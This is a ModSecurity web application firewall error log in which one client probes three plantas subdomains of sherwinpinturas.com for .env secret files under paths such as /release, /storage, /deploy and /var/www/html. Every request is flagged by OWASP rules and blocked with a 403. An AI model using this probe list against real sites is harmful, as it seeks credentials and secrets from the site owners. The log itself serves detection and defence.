[Sun Oct 25 02:19:12.388272 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36QAAAAk"]
[Sun Oct 25 02:19:12.186963 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fX2TNY6y0aXZ6joCb1wAAADk"]
[Sun Oct 25 02:19:12.388718 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fX2TNY6y0aXZ6joCb1wAAADk"]
[Sun Oct 25 02:19:12.388992 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at2fX2TNY6y0aXZ6joCb1wAAADk"]
[Sun Oct 25 02:19:12.634427 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36gAAAAk"]
[Sun Oct 25 02:19:12.634680 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36gAAAAk"]
[Sun Oct 25 02:19:12.634992 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36gAAAAk"]
[Sun Oct 25 02:19:12.647959 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFQAAAAs"]
[Sun Oct 25 02:19:12.655141 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFQAAAAs"]
[Sun Oct 25 02:19:12.655421 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFQAAAAs"]
[Sun Oct 25 02:19:12.656263 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2AAAADk"]
[Sun Oct 25 02:19:12.656405 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2AAAADk"]
[Sun Oct 25 02:19:12.656659 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2AAAADk"]
[Sun Oct 25 02:19:12.905384 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36wAAAAk"]
[Sun Oct 25 02:19:12.905651 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36wAAAAk"]
[Sun Oct 25 02:19:12.905948 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYDaSD7UWGB8jzmt36wAAAAk"]
[Sun Oct 25 02:19:12.907550 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2QAAADk"]
[Sun Oct 25 02:19:12.907706 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2QAAADk"]
[Sun Oct 25 02:19:12.907927 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at2fYGTNY6y0aXZ6joCb2QAAADk"]
[Sun Oct 25 02:19:12.909003 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFgAAAAs"]
[Sun Oct 25 02:19:12.909186 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFgAAAAs"]
[Sun Oct 25 02:19:12.909411 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at2fYHqPPT_6tJCMTRvuFgAAAAs"]
[Sun Oct 25 02:19:13.125850 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37AAAAAk"]
[Sun Oct 25 02:19:13.126123 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37AAAAAk"]
[Sun Oct 25 02:19:13.126489 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37AAAAAk"]
[Sun Oct 25 02:19:13.127656 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2gAAADk"]
[Sun Oct 25 02:19:13.131725 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2gAAADk"]
[Sun Oct 25 02:19:13.132230 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2gAAADk"]
[Sun Oct 25 02:19:13.148120 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuFwAAAAs"]
[Sun Oct 25 02:19:13.148276 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuFwAAAAs"]
[Sun Oct 25 02:19:13.148525 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuFwAAAAs"]
[Sun Oct 25 02:19:13.383781 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37QAAAAk"]
[Sun Oct 25 02:19:13.384048 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37QAAAAk"]
[Sun Oct 25 02:19:13.384360 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at2fYTaSD7UWGB8jzmt37QAAAAk"]
[Sun Oct 25 02:19:13.385408 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2wAAADk"]
[Sun Oct 25 02:19:13.385583 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2wAAADk"]
[Sun Oct 25 02:19:13.385796 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at2fYWTNY6y0aXZ6joCb2wAAADk"]
[Sun Oct 25 02:19:13.413420 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGAAAAAs"]
[Sun Oct 25 02:19:13.413737 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at2fYXqPPT_6tJCMTRvuGAAAAAs"]
